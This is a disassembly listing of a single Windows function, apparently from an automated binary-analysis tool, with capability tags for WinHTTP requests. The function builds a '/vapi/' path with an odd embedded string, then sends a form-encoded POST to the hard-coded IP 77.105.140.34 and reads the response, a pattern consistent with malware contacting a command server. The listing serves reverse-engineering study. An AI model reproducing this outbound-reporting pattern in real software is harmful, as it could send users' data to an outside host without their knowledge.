Function at 0x40b400
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c376
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x42400c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 2
xorps xmm0, xmm0
push 0
movups xmmword [eax], xmm0
push 0x41e5d8
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
call fcn.00404fa0
mov ecx, dword [ebp + 0x30]
mov esi, closesocket
mov eax, esi
mov dword [ebp - 0x38], 1
sub eax, ecx
cmp eax, 0x25
jb 0x40b862
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push eax
push 0x25
push str.pssPoL_JHOt_ddd_155_____:::_e_
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x64]
call fcn.0040a4d0
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], 3
push eax
lea ecx, [ebp + 0x20]
call fcn.00409930
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x40b4e6
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b4dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b834
push ecx
push edx
call fcn.0041aa32
add esp, 8
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
mov ecx, dword [ebp + 0x18]
cmovae eax, dword [ebp + 0x20]
sub esi, ecx
mov dword [ebp - 0x3c], eax
cmp esi, 6
jb 0x40b862
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
push 6
push str._vapi_
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x64]
call fcn.0040a4d0
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], 7
push eax
lea ecx, [ebp + 8]
call fcn.00409930
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x40b569
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b55f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b834
push ecx
push edx
call fcn.0041aa32
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov eax, dword [ebp + 0x18]
jb 0x40b57c
mov ecx, dword [ebp + 8]
add eax, ecx
jmp 0x40b581
add eax, ecx
lea ecx, [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00409f80
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov dword [ebp - 0x30], 0
cmovae eax, dword [ebp - 0x2c]
xor esi, esi
xor edi, edi
mov dword [ebp - 0x4c], eax
push edi
push edi
push edi
push edi
push str.A_WinHTTP_Example_Program_1.0
mov dword [ebp - 0x14], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x44], eax
test eax, eax
je 0x40b719
push edi
push 0x50
push str.77.105.140.34
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40b720
push edi
push edi
push edi
push edi
push dword [ebp - 0x4c]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x40b71d
mov esi, dword [ebp - 0x3c]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b610
sub ecx, edx
mov edx, esi
lea eax, [edx + 1]
mov dword [ebp - 0x3c], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x40b621
sub edx, dword [ebp - 0x3c]
push 0
push ecx
push edx
push esi
push 0xffffffffffffffff
push str.content_type:application_x_www_form_urlencoded
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov esi, eax
test esi, esi
je 0x40b71d
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov esi, eax
test esi, esi
je 0x40b71d
nop dword [eax + eax]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x40b6fa
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x40b759
inc eax
push eax
call fcn.0041aa40
mov esi, eax
mov eax, dword [ebp - 0x30]
inc eax
push eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x30]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x40b6bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpReadData._n
jmp 0x40b6ce
mov ecx, dword [ebp - 0x40]
push esi
call fcn.00404470
push esi
push 0x41e8f8
call fcn.0040b3d0
add esp, 8
push esi
call fcn.0041a4ea
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x40b759
cmp dword [ebp - 0x30], 0
ja 0x40b660
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
jmp 0x40b76a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.0040b3d0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 8
push edi
call esi
jmp 0x40b76a
xor eax, eax
jmp 0x40b720
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.0040b3d0
add esp, 8
test esi, esi
jne 0x40b755
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.0040b3d0
mov eax, dword [ebp - 0x34]
add esp, 8
mov dword [ebp - 0x34], eax
test edi, edi
je 0x40b764
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
jmp 0x40b76a
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x40b774
push eax
call esi
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x40b77e
push eax
call esi
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x40b7b8
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b7ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b834
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp ecx, 0x10
jb 0x40b7fc
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b7f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b834
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x40b844
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b83a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b83a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041a4dc
mov esp, ebp
pop ebp
ret
call fcn.00401400
int3